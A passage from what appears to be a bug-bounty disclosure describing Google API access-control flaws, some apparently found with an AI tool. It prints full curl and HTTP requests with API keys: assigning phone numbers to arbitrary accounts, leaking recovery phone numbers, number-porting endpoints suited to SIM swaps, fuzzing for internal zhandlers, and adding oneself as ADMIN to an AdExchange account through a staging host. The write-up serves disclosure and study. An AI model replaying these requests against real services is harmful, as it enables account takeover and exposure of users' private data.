          <span class="hljs-attr">&quot;phoneNumber&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;+&lt;REDACTED PHONE&gt;&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;verified&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span>
        <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
        <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">52</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;phoneNumber&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;sip:&lt;REDACTED&gt;@voice.sip.google.com&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;verified&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span>
        <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
        ...
      <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;timezone&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;America/Chicago&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;callScreening&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;SCREENING_ASK_UNKNOWN_FOR_NAME&quot;</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    ...
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>From this API response, we could see the victim&#39;s Google Voice number as well as their <strong>Google Account recovery phone number</strong>!</p>
<p>The API also conveniently provided an API endpoint to assign a Google Voice number to any target Google account (even if they never used Voice before):</p>
<pre><code class="hljs language-bash">curl <span class="hljs-string">&#x27;https://gfibervoice-pa.googleapis.com/v1/AssignNumber&#x27;</span> \
  -X POST \
  -H <span class="hljs-string">&#x27;Content-Type: application/json&#x27;</span> \
  -H <span class="hljs-string">&#x27;X-Goog-Api-Key: AIzaSyBFEIaAndFpMDyNGq2g54RJYt_GFZdcRHE&#x27;</span> \
  --data-raw <span class="hljs-string">&#x27;{&quot;gaiaId&quot;:&quot;1072004820935&quot;,&quot;accountId&quot;:&quot;1&quot;,&quot;number&quot;:&quot;+16503837639&quot;}&#x27;</span></code></pre><blockquote>
<p>Account ID wasn&#39;t validated, it could be anything.</p>
</blockquote>
<p>The API would return:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;error&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">500</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Internal error encountered.&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;INTERNAL&quot;</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>But that didn&#39;t matter, the number was still added. The number even showed up on the victim&#39;s Google account phones under <a href="https://myaccount.google.com/phone" target="_blank" rel="noopener noreferrer">https://myaccount.google.com/phone</a></p>
<p>If you then fetched the victim&#39;s profile again:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;voiceAccountInfo&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;voiceSettings&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;did&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;+16503837639&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;emailForVoicemailNotification&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;notificationAddress&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;meowing@gmail.com&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;voicemailPin&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&quot;</span><span class="hljs-punctuation">,</span>
      ...
      <span class="hljs-attr">&quot;forwardingPhone&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;phoneNumber&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;REDACTED&gt;&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;verified&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span>
        <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
        ...
      <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;timezone&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;America/Los_Angeles&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;callScreening&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;SCREENING_ASK_UNKNOWN_FOR_NAME&quot;</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    ...
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>The victim&#39;s Google account recovery phone number would be visible. Upon checking with Google, there seemed to be certain specific conditions for it to show the recovery phone number here, it wasn&#39;t for every single Google account, although Google declined to provide the exact conditions.</p>
<p>For transferring existing Google voice numbers, it&#39;s a bit more complicated. You need to assign two new numbers to the Voice victim with the target number, and after some time the original voice number would &quot;expire&quot;, and you could then assign this to your attack account. This was needed as otherwise it would return some strange error.</p>
<p>Interestingly, there were several other suspicious endpoints on this API that I wasn&#39;t able to test due to my lack of a Google Fiber account, that might have allowed for <a href="https://en.wikipedia.org/wiki/SIM_swap_attack" target="_blank" rel="noopener noreferrer">conducting SIM swap attacks</a>:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v1/InitiateNumberPort</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>gfibervoice-pa.googleapis.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyBFEIaAndFpMDyNGq2g54RJYt_GFZdcRHE
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json

<span class="language-1c">{
  <span class="hljs-comment">// Billing telephone number (BTN) - primary key on user&#x27;s account with the losing provider.</span>
  <span class="hljs-comment">// There should always be one BTN. Required.</span>
  <span class="hljs-string">&quot;billingTelephoneNumber&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;string&gt;&quot;</span><span class="hljs-punctuation">,</span>

  <span class="hljs-comment">// Required.</span>
  <span class="hljs-string">&quot;fiberAccountId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;string&gt;&quot;</span><span class="hljs-punctuation">,</span>

  <span class="hljs-comment">// GAIA ID for the Google Voice account the ported number will be added to.</span>
  <span class="hljs-comment">// Must be associated with the specified fiber account but does not need to be the primary user&#x27;s. Required.</span>
  <span class="hljs-string">&quot;gaiaId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;string&gt;&quot;</span><span class="hljs-punctuation">,</span>

  <span class="hljs-comment">// Internal ID for a port. Must be set if the port is being initialized.</span>
  <span class="hljs-string">&quot;internalNpoOrderId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;string&gt;&quot;</span><span class="hljs-punctuation">,</span>

  <span class="hljs-string">&quot;loaAuthorizingPerson&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;string&gt;&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-string">&quot;losingCarrierAccountNumber&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;string&gt;&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-string">&quot;losingCarrierPin&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;string&gt;&quot;</span><span class="hljs-punctuation">,</span>

  <span class="hljs-comment">// Numbers to be ported. If one of these is the BTN, then ALL numbers from the losing carrier must be ported.</span>
  <span class="hljs-string">&quot;portTelephoneNumber&quot;</span><span class="hljs-punctuation">:</span> [<span class="hljs-string">&quot;&lt;string&gt;&quot;</span>]<span class="hljs-punctuation">,</span>

  <span class="hljs-string">&quot;requestedFocDateMs&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;string&gt;&quot;</span><span class="hljs-punctuation">,</span>

  <span class="hljs-comment">// Subscriber for the number port request.</span>
  <span class="hljs-comment">// If subscriberType == RESIDENTIAL_SUBSCRIBER:</span>
  <span class="hljs-comment">//   - firstName and lastName MUST be non-empty</span>
  <span class="hljs-comment">//   - businessName MUST NOT be set (or FDS will reject)</span>
  <span class="hljs-comment">// If subscriberType == BUSINESS_SUBSCRIBER:</span>
  <span class="hljs-comment">//   - businessName MUST be non-empty</span>
  <span class="hljs-comment">//   - firstName and lastName MAY contain the primary contact person</span>
  <span class="hljs-string">&quot;subscriber&quot;</span><span class="hljs-punctuation">:</span> {
    <span class="hljs-string">&quot;businessName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;string&gt;&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-string">&quot;firstName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;string&gt;&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-string">&quot;lastName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;string&gt;&quot;</span><span class="hljs-punctuation">,</span>

    <span class="hljs-comment">// Physical street address. May be omitted by certain read-only operations.</span>
    <span class="hljs-string">&quot;serviceAddress&quot;</span><span class="hljs-punctuation">:</span> {
      <span class="hljs-comment">// Required</span>
      <span class="hljs-string">&quot;city&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;string&gt;&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-comment">// Required</span>
      <span class="hljs-string">&quot;state&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;string&gt;&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-comment">// Required for add/update</span>
      <span class="hljs-string">&quot;streetAddress&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;string&gt;&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-string">&quot;unitNumber&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;string&gt;&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-comment">// Required</span>
      <span class="hljs-string">&quot;zipcode&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;string&gt;&quot;</span>
    }<span class="hljs-punctuation">,</span>
    <span class="hljs-string">&quot;subscriberType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;UNKNOWN_SUBSCRIBER_TYPE&quot;</span>
  }
}</span></code></pre><p>This bug was marked <strong>P0/S0</strong>, patched within a few hours and was awarded <strong>$20,000</strong> under: <em>Domains where a vulnerability could disclose particularly sensitive user data. Vulnerability category is &quot;bypass of significant security controls&quot;, PII or other confidential information.</em></p>
<p>Shortly after being patched, I happened to notice that the endpoint started returning a strange error:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v1/CheckNumberPortStatus</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>gfibervoice-pa.googleapis.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyBFEIaAndFpMDyNGq2g54RJYt_GFZdcRHE</code></pre><p>Response:</p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">404</span> Not Found
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>text/plain; charset=utf-8
<span class="hljs-attribute">Date</span><span class="hljs-punctuation">: </span>Sat, 24 Jan 2026 08:45:16 GMT
<span class="hljs-attribute">Alt-Svc</span><span class="hljs-punctuation">: </span>h3=&quot;:443&quot;; ma=2592000,h3-29=&quot;:443&quot;; ma=2592000

<span class="language-nginx"><span class="hljs-attribute">Not</span> found: <span class="hljs-string">&#x27;/v1/CheckNumberPortStatus&#x27;</span></span></code></pre><p>It looked a lot like an <a href="https://www.envoyproxy.io/" target="_blank" rel="noopener noreferrer">Envoy proxy</a> error, which I hadn&#39;t seen before on a *.googleapis.com. I shared this with Michael, who happened to notice that the URL <a href="https://gfibervoice-pa.googleapis.com" target="_blank" rel="noopener noreferrer">https://gfibervoice-pa.googleapis.com</a> started redirecting to /statusz (which was a 404 page). He then ran <a href="https://github.com/ffuf/ffuf" target="_blank" rel="noopener noreferrer">ffuf</a> with suffix &quot;z&quot; on the domain, uncovering several more paths:</p>
<pre><code class="hljs language-txt">appsframeworkz
bouncerz
bpfz
btz
bugz
cacheserverz
cdpushz
censusz
choicez
codez
...</code></pre><p>Most of these were blocked off with 403. However, <code>/btz</code> seemed to return status 200:</p>
<div class="embedded-content" data-embed-src="/articles/embeds/hacking-google-with-ai/btz.html"></div><p>This is what&#39;s known as a <strong>zhandler</strong>. These are only supposed to be accessible from within Google&#39;s intranet. In this case it wasn&#39;t too useful, but it tends to leak debug information from <a href="https://research.google/pubs/large-scale-cluster-management-at-google-with-borg/" target="_blank" rel="noopener noreferrer">borg</a>.</p>
<p>If you&#39;re able to reach <code>/flagz</code> (from an exposed zhandler, or <em>from an exposed intranet Wi-Fi hotspot during bugSWAT...</em>), you can actually find API keys by pulling the <code>.class</code> files of running services.</p>
<h4 id="adexchange-ato"><a class="anchor" href="#adexchange-ato" aria-hidden="true">#</a>AdExchange ATO</h4><p><a href="https://admanager.google.com" target="_blank" rel="noopener noreferrer">AdExchange</a> is Google&#39;s ad management platform allowing publishers (websites, apps, etc.) to sell advertising space. Initially, the AI found this very interesting endpoint that seemed to dump a list of all AdExchange accounts with a single request:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v1internal/cookieMatchingAccounts</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>adexchangebuyer.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://ads.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyDntWfIQs0iyimIUm1GTOWjx5fJL8YdKTE</code></pre><p>Response:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;cookieMatchingAccounts&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-punctuation">{</span>
            <span class="hljs-attr">&quot;accountId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;REDACTED&gt;&quot;</span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;cookieEncryptionType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ID_ONLY&quot;</span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;forwardHostedMatchEnabled&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;gdprContractState&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;HAS_SIGNED_GDPR_CONTRACT&quot;</span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;pushCookieState&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;INACTIVE&quot;</span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;externalCookieMatchingSettings&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
                <span class="hljs-attr">&quot;displayName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;REDACTED&gt;&quot;</span><span class="hljs-punctuation">,</span>
                <span class="hljs-attr">&quot;cookieMatchingState&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;INACTIVE&quot;</span><span class="hljs-punctuation">,</span>
                <span class="hljs-attr">&quot;cookieMatchingNid&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;REDACTED&gt;&quot;</span>
            <span class="hljs-punctuation">}</span>
        <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
        ...
        <span class="hljs-punctuation">{</span>
            <span class="hljs-attr">&quot;accountId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;REDACTED&gt;&quot;</span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;cookieEncryptionType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ID_ONLY&quot;</span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;forwardHostedMatchEnabled&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;gdprContractState&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;HAS_SIGNED_GDPR_CONTRACT&quot;</span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;pushCookieState&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;INACTIVE&quot;</span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;externalCookieMatchingSettings&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
                <span class="hljs-attr">&quot;displayName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;REDACTED&gt;&quot;</span><span class="hljs-punctuation">,</span>
                <span class="hljs-attr">&quot;cookieMatchingState&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;INACTIVE&quot;</span><span class="hljs-punctuation">,</span>
                <span class="hljs-attr">&quot;cookieMatchingNid&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;REDACTED&gt;&quot;</span>
            <span class="hljs-punctuation">}</span>
        <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
        ...
    <span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span></code></pre><p>The interesting thing about this API is that it&#39;s <a href="https://developers.google.com/authorized-buyers/apis/reference/rest" target="_blank" rel="noopener noreferrer">actually public</a>, however this endpoint was behind a visibility label that only <code>google.com:ad-exchange-buyer-fe</code> had access to.</p>
<p>At first, I couldn&#39;t get much past here, since all the other interesting account related endpoints seemed to return <code>PERMISSION_DENIED</code>, but that changed when the AI reported this finding:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v1internal/buyers/8442597967</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>test-adexchangebuyer-googleapis.sandbox.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://ads.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyDntWfIQs0iyimIUm1GTOWjx5fJL8YdKTE
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>119</code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;accountId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;8442597967&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;externalBuyerSettings&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;accountName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;LiveRamp 45885&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;contactEmails&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
      <span class="hljs-string">&quot;█████████@google.com&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-string">&quot;██████████@google.com&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-string">&quot;████████@google.com&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-string">&quot;AccountDataTest@google.com&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-string">&quot;AccountDataTest2@google.com&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-string">&quot;AccountDataTest3@google.com&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-string">&quot;AccountDataTest4@google.com&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-string">&quot;AccountDataTest5@google.com&quot;</span>
    <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;currencyCode&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;USD&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;displayName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;LiveRamp 45885&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;legacyAlertState&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;UNSUPPORTED&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;state&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;STATE_ACTIVE&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;timezoneId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;America/Los_Angeles&quot;</span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;stateInfo&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;comment&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Buyer creation.&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;stateLastUpdateTime&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2024-07-24T20:22:29.478913Z&quot;</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>All the account related endpoints that were blocked on production with <code>PERMISSION_DENIED</code> were working here with no access controls!</p>
<p>At first, I assumed only the staging environment was affected given the hostname <code>test-adexchangebuyer-googleapis.sandbox.google.com</code>. However, when I tested a known test account ID I leaked earlier from production, it actually worked:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v1internal/buyers/6558940734/users</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>test-adexchangebuyer-googleapis.sandbox.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://ads.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyDntWfIQs0iyimIUm1GTOWjx5fJL8YdKTE
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>119</code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;buyerUsers&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;accountId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;6558940734&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;emailAddress&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;██████@google.com&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;role&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ADMIN&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ACTIVE&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;userId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;4604346&quot;</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;accountId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;6558940734&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;emailAddress&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;temp-drx-buyside-test-sa@mts-test-project.iam.gserviceaccount.com&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;isRobotAccount&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;role&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;SERVICE_ACCOUNT&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ACTIVE&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;userId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;4618737&quot;</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;accountId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;6558940734&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;emailAddress&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;█████████████@gmail.com&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;role&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ADMIN&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ACTIVE&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;userId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;4639432&quot;</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    ...
  <span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span></code></pre><p>As it turns out, even though these endpoints were blocked on prod, the staging environment (<code>test-adexchangebuyer-googleapis.sandbox.google.com</code>) was actually pointing to production data!</p>
<p>It was seemingly possible to even add myself to any AdExchange account:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v1internal/buyers/6558940734/users</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>test-adexchangebuyer-googleapis.sandbox.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://ads.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyDntWfIQs0iyimIUm1GTOWjx5fJL8YdKTE
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>119

<span class="language-perl">{
  <span class="hljs-string">&quot;emailAddress&quot;</span>: <span class="hljs-string">&quot;gvrptest2<span class="hljs-variable">@gmail</span>.com&quot;</span>,
  <span class="hljs-string">&quot;accountId&quot;</span>: <span class="hljs-string">&quot;6558940734&quot;</span>,
  <span class="hljs-string">&quot;status&quot;</span>: <span class="hljs-string">&quot;PENDING&quot;</span>,
  <span class="hljs-string">&quot;role&quot;</span>: <span class="hljs-string">&quot;ADMIN&quot;</span>
}</span></code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;accountId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;6558940734&quot;</span><span class="hljs-punctuation">,</span>
